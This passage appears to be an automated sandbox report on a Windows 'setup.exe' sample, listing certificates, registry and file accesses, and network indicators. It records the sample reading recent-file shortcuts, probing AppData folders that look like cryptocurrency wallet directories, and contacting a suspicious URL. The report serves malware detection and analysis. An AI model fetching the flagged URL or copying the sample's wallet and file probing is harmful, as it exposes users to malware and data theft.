string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00006612-00000C2B-2319239298] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00006612-00000C2B-2319311795] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00006612-00000C2B-2319343783] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" [Source: 00000000-00006612-00000C2B-2319734730]3f:T11fd,The input sample is signed with a certificate issued by "CN=Microsoft TLS G2 RSA CA OCSP 16, O=Microsoft Corporation, C=US" (SHA1: 90:2F:4F:C1:6D:6E:F3:8D:1D:7E:30:68:CB:70:BF:74:66:87:E7:E1; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft TLS RSA Root G2, O=Microsoft Corporation, C=US" (SHA1: 27:E6:66:32:99:D3:40:DF:E5:45:71:CE:CC:EC:01:BE:74:49:5D:C6; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: B5:EE:89:E7:73:26:AB:2B:F1:77:5B:D9:9C:19:A2:89:47:FF:81:84; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Server Authentication CA DV E36, O=Sectigo Limited, C=GB" (SHA1: 7B:F9:78:4B:1A:31:7D:14:10:50:6D:DA:AE:A8:46:B2:1C:B0:5E:9D; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Server Authentication Root E46, O=Sectigo Limited, C=GB" (SHA1: 56:63:48:E6:56:E1:FA:6C:4E:2E:E6:72:59:16:E8:F4:E3:73:8A:07; see report for more information) The input sample is signed with a certificate issued by "CN=USERTrust ECC Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US" (SHA1: 3F:96:99:89:F5:31:0E:9C:05:0D:FF:D7:AB:C1:55:30:E3:C1:3A:A0; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft Azure RSA TLS Issuing CA 03, O=Microsoft Corporation, C=US" (SHA1: FB:A7:A3:A9:2D:8C:58:02:EF:FB:8B:72:49:B2:71:63:6B:CC:E2:25; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: F9:38:8E:A2:C9:B7:D6:32:B6:6A:2B:0B:40:6D:F1:D3:7D:39:01:F6; see report for more information) The input sample is signed with a certificate issued by "CN=E8, O=Let's Encrypt, C=US" (SHA1: 82:B9:58:1B:23:42:0A:72:F5:04:D4:AD:65:41:43:93:F9:3C:41:0D; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 54:31:7E:B0:76:5F:0B:C6:74:85:51:84:EB:83:74:B4:19:9E:46:55; see report for more information) The input sample is signed with a certificate issued by "CN=Amazon RSA 2048 M03, O=Amazon, C=US" (SHA1: DC:F3:DC:23:FC:EB:CE:46:DD:40:91:F4:6A:62:00:61:3B:6B:05:E6; see report for more information) The input sample is signed with a certificate issued by "CN=Amazon Root CA 1, O=Amazon, C=US" (SHA1: D9:FE:0A:65:FA:00:CA:BF:61:F5:12:0D:37:3A:81:35:E1:46:1F:15; see report for more information) The input sample is signed with a certificate issued by "CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 06:B2:59:27:C4:2A:72:16:31:C1:EF:D9:43:1E:64:8F:A6:2E:1E:39; see report for more information) The input sample is signed with a certificate issued by "CN=E8, O=Let's Encrypt, C=US" (SHA1: 97:E6:06:DA:E2:FA:A9:6D:3E:41:BC:79:29:58:7F:AC:12:7B:F8:2A; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 36:89:D8:84:E5:9D:D0:B1:F5:9E:05:87:FE:6B:38:32:89:E3:84:39; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 24:45:4B:F3:0A:9E:BE:B0:F4:48:D5:76:54:48:C4:50:E6:4F:60:07; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Atlas R3 DV TLS CA 2025 Q4, O=GlobalSign nv-sa, C=BE" (SHA1: 36:0A:76:32:A6:8F:B2:9C:C6:C1:C4:25:66:45:BA:D2:D2:88:66:84; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R3" (SHA1: FC:FA:4D:AC:C7:66:CE:DD:FD:B0:1A:E9:5B:62:C4:D3:5F:0F:B8:65; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 7B:EB:8C:99:70:88:B3:BD:C2:BE:47:C4:D4:A7:3D:B6:41:3E:23:68; see report for more information)40:Tbef,"setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION\CUSTOMATTRIBUTES"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\DIAGNOSIS"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\DEBUGINFORMATION"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY\CUSTOMATTRIBUTES"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\TREATASCLASSINDEX"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\INTERFACE\{8645456F-D9A2-4B82-AFEC-58F0E8DF0ACF}"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\INTERFACE\{8645456F-D9A2-4B82-AFEC-58F0E8DF0ACF}"; Key: ""; Value: "") "setup.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\INTERFACE\{8645456F-D9A2-4B82-AFEC-58F0E8DF0ACF}\PROXYSTUBCLSID32"; Key: ""; Value: "")41:Te27,"setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATIONTYPE"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "SERVER"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "DLLPATH"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "THREADING"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "TRUSTLEVEL"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "REMOTESERVER"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATEASUSER"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATEINSHAREDBROKER"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "PERMISSIONS"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "EXEPATH"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "COMMANDLINE"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "IDENTITYTYPE"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "PERMISSIONS"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "ACTIVATABLECLASSES"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "SERVERTYPE"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "APPID"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "IDENTITY"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "SERVICENAME"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "EXPLICITPSMACTIVATIONTYPE"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\INTERFACE\{8645456F-D9A2-4B82-AFEC-58F0E8DF0ACF}\PROXYSTUBCLSID32"; Key: ""; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{C53E07EC-25F3-4093-AA39-FC67EA22E99D}"; Key: ""; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{C53E07EC-25F3-4093-AA39-FC67EA22E99D}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "")42:T95f,"setup.exe" reads file "c:\windows\syswow64\dllhost.exe" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\.mitmproxy.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\.one.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\0kbbig.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\1033.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\3n4fzbq.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\a.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\adjacencyletter.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\all tasks.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\cacert.pem.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\certifi.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\cnpp5ha8kvlj.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\curl-8.8.0_3-win64-mingw.zip.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\database1.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\demonotebook.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\downloads.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\en_office_professional_plus_2016_x86_x64_dvd_6962141.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\file.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\fuzzer.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\fuzzer_winupdt.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\hardware and sound.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\hola.jar.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\hola.lnk" "setup.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\https--www.msn.com-en-ca.lnk"43:T47e,"setup.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "setup.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "setup.exe" trying to touch file "C:\Windows\SysWOW64\AcGenral.dll" "setup.exe" trying to touch file "C:\Windows\SysWOW64\uxtheme.dll" "setup.exe" trying to touch file "C:\Windows\SysWOW64\winmm.dll" "setup.exe" trying to touch file "C:\Windows\SysWOW64\samcli.dll" "setup.exe" trying to touch file "C:\Windows\SysWOW64\msacm32.dll" "setup.exe" trying to touch file "C:\Windows\SysWOW64\version.dll" "setup.exe" trying to touch file "C:\Windows\SysWOW64\userenv.dll" "setup.exe" trying to touch file "C:\Windows\SysWOW64\dwmapi.dll" "setup.exe" trying to touch file "C:\Windows\SysWOW64\urlmon.dll" "setup.exe" trying to touch file "C:\Windows\SysWOW64\winspool.drv" "setup.exe" trying to touch file "C:\Windows\SysWOW64\mpr.dll" "setup.exe" trying to touch file "C:\Windows\SysWOW64\winmmbase.dll" "setup.exe" trying to touch file "C:\Windows\SysWOW64\iertutil.dll" "setup.exe" trying to touch file "C:\Windows\SysWOW64\IPHLPAPI.DLL" "setup.exe" trying to touch file "C:\Windows\SysWOW64\bcrypt.dll"44:Ta87,"setup.exe" trying to access non-existent file "C:\DPAPI.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\BCRYPT.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\CRYPTBASE.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.DLL"45:T796,"setup.exe" trying to access non-existent file "C:\ProgramData\APPDATA" "setup.exe" trying to access non-existent file "C:\Users\Public\APPDATA" "setup.exe" trying to access non-existent file "C:\Users\.NET v2.0\AppData\Roaming\FIRO" "setup.exe" trying to access non-existent file "C:\Users\.NET v2.0 Classic\AppData\Roaming\FIRO" "setup.exe" trying to access non-existent file "C:\Users\.NET v4.5\AppData\Roaming\FIRO" "setup.exe" trying to access non-existent file "C:\Users\.NET v4.5 Classic\AppData\Roaming\FIRO" "setup.exe" trying to access non-existent file "C:\Users\Classic .NET AppPool\AppData\Roaming\FIRO" "setup.exe" trying to access non-existent file "C:\Users\Default\AppData\Roaming\FIRO" "setup.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\FIRO" "setup.exe" trying to access non-existent file "C:\Users\.NET v2.0\AppData\Roaming\GRAFT" "setup.exe" trying to access non-existent file "C:\Users\.NET v2.0 Classic\AppData\Roaming\GRAFT" "setup.exe" trying to access non-existent file "C:\Users\.NET v4.5\AppData\Roaming\GRAFT" "setup.exe" trying to access non-existent file "C:\Users\.NET v4.5 Classic\AppData\Roaming\GRAFT" "setup.exe" trying to access non-existent file "C:\Users\Classic .NET AppPool\AppData\Roaming\GRAFT" "setup.exe" trying to access non-existent file "C:\Users\Default\AppData\Roaming\GRAFT" "setup.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\GRAFT" "setup.exe" trying to access non-existent file "C:\Users\.NET v2.0\AppData\Roaming\HAVEN" "setup.exe" trying to access non-existent file "C:\Users\.NET v2.0 Classic\AppData\Roaming\HAVEN" "setup.exe" trying to access non-existent file "C:\Users\.NET v4.5\AppData\Roaming\HAVEN" "setup.exe" trying to access non-existent file "C:\Users\.NET v4.5 Classic\AppData\Roaming\HAVEN" "setup.exe" trying to access non-existent file "C:\Users\Classic .NET AppPool\AppData\Roaming\HAVEN"46:T1e92,Heuristic match: ">y.tg" Heuristic match: "@p.ro" Heuristic match: "~tq.ag" Heuristic match: "jsonplaceholder.typicode.com" Heuristic match: "registry.npmjs.org" Heuristic match: "api.github.com" Heuristic match: "hub.docker.com" Heuristic match: "aka.ms" Heuristic match: "pypi.org" Pattern match: "www.powershellgallery.com" Pattern match: "www.powershellgallery.comaccept-encoding" Heuristic match: "httpbin.org" Pattern match: "www.microsoft.com" Pattern match: "www.microsoft.comaccept-encoding" Heuristic match: "get /repositories/154739597/tags http/1.1user-agent: mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/130.0.6743.151 safari/537.36 edg/123.0.2436.110accept-encoding: gzip, deflatehost: api.github.com" Heuristic match: "get /repositories/601538369/branches http/1.1user-agent: mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/130.0.6743.151 safari/537.36 edg/123.0.2436.110accept-encoding: gzip, deflatehost: api.github.com" Heuristic match: "registry.terraform.io" Heuristic match: "get /repositories/44838949/branches http/1.1user-agent: mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/130.0.6743.151 safari/537.36 edg/123.0.2436.110accept-encoding: gzip, deflatehost: api.github.com" Heuristic match: "azcliprod.blob.core.windows.net" Heuristic match: "worldtimeapi.org" Pattern match: "https://grantt.qumarox.icu/sdfkkiso87" Heuristic match: "c:\windows\microsoft.net" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Heuristic match: "ystem.management.au" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Heuristic match: "c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "st.re" Heuristic match: "ll.co" Heuristic match: "tem32\cmd.ec" Heuristic match: "apshot,kernel32.uy" Pattern match: "www.digicert.com1$0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "www.digicert.com1/0-" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://www.microsoft.com0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "trust.net/cp" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "www.digicert.com1!0" Pattern match: "1.net/leg" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "http://www.microsoft.com/windows0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-%" Pattern match: "http://www.microsoft.com/pki/certs/microo" Pattern match: "t.com/pki/docs/cps/default.htm0@" Pattern match: "crl.microsoft.com/pki/cr" Pattern match: "http://www.m" Pattern match: "http://www.microsoft.com/windows" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Heuristic match: "t.automation.re" Pattern match: "t.com/pki/cr" Pattern match: "wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "http://go.microsoft.com/fwlink/?linkid=42127" Pattern match: "oft.com/pkiops/c" Pattern match: "t.com/pk" Pattern match: "www.insidersurveys.windows.com06" Pattern match: 